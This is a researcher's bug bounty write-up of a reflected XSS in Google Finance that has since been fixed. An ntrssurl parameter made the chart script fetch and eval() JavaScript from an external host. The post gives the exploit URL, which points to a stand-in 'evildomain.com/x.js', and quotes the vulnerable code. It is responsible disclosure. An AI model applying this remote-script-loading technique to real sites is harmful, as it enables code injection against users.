XSS in Google Finance

On July 11 2013, I reported to Google Security a XSS vulnerability I discovered in google.com main domain, which required no user interaction.

It is due to a glitch in Google Finance, which is hosted on google.com/finance, that allows to trick the Javascript application for plotting charts (in particular, sourcefile /finance/f/sfe-opt.js) to load a file hosted on an external domain and eval() its content as Javascript code.

This exploit does not require any user interaction, it's just a matter of clicking on a URL.

Steps to reproduce:

  1. Just click on this URL (now fixed): https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.

File x.js contains the following proof-of-concept code for demonstration purposes:


The file has to be hosted over HTTPS.

  1. The remote Javascript is executed.

How does it work?

Here are two (obfuscated) code snippets of /finance/f/sfe-opt.js responsible for this vulnerability:

if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || "")));
return c.join("")

In this first snippet, URL parameters, and in particular the ntrssurl parameter (address of a custom RSS feed) are fetched and concatenated.

Xi.prototype.send = function (a, b, c, d) {
    a = a || null;
    d = d || "_" + (Yi++).toString(36) + x().toString(36);
    n._callbacks_ || (n._callbacks_ = {});
    var e = this.$s.Z();
    if (a)
        for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]);
    b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_." + d));
    b = Wi(e.toString(), {
        timeout: this.We,
        Ns: !0
    Si(b, null, $i(d, a, c), void 0);
    return {
        La: d,
        Du: b

This part of the code is responsible for querying an external domain for a newsfeed to be displayed on the plot as an overlay.

It generates a base-36 callback function name, and the function Wi performs an xmlhttprequest to the domain supplied in the ntrssurl parameter in the URL, appending ?_CALLBACK_.

In this case, a simple Javascript code is returned and eval()'ed.


Screenshot of the XSS vulnerability triggered

Screenshot of the XSS vulnerability triggered

The callback request

Screenshot of the callback request

Snippet of the vulnerable Javascript code

Snippet of the vulnerable Javascript code

This vulnerability was fixed in a matter of days, and I got a $5k reward.

Thank you, Google Security Team! :)